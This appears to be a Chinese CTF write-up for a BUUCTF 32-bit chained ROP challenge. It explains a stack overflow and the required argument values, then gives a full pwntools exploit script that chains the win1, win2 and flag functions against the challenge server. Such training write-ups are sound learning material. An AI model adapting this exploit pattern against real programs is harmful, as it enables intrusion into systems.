32 位连续 ROP

32 位连续 ROP

话不多说,直接上题(BUUCTF)

32 位连续 ROP-侠者安全社区

在 main 函数中发现漏洞函数

32 位连续 ROP-侠者安全社区

明显栈溢出

32 位连续 ROP-侠者安全社区

有个 flag 函数,要求是 win1、win2 为真且 a1 等于一个值

32 位连续 ROP-侠者安全社区

选中数值右键 Hexdecimal 转为十六进制 0xDEADBAAD

32 位连续 ROP-侠者安全社区

函数 function1 中定义的 win1 的值

32 位连续 ROP-侠者安全社区

在 function2 中我们要传入 a1 = 0xBAAAAAAD

32 位连续 ROP-侠者安全社区

回想 32 位 ROP 方式是函数 + 返回地址 + 参数

则 win1 的返回地址是 win2,win2 返回地址是 flag

构造 payload

from pwn import *

sh = remote('node5.buuoj.cn',27251)

a1_win2 = 0xBAAAAAAD
a1_flag = 0xDEADBAAD
win1 = 0x80485cb
win2 = 0x80485d8
flag = 0x804862b

payload = b'a'*(0x18 + 4) + p32(win1) + p32(win2) + p32(flag) + p32(a1_win2) + p32(a1_flag)

sh.sendline(payload)
sh.interactive()

成功拿到 flag

 

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情快捷回复

    暂无评论内容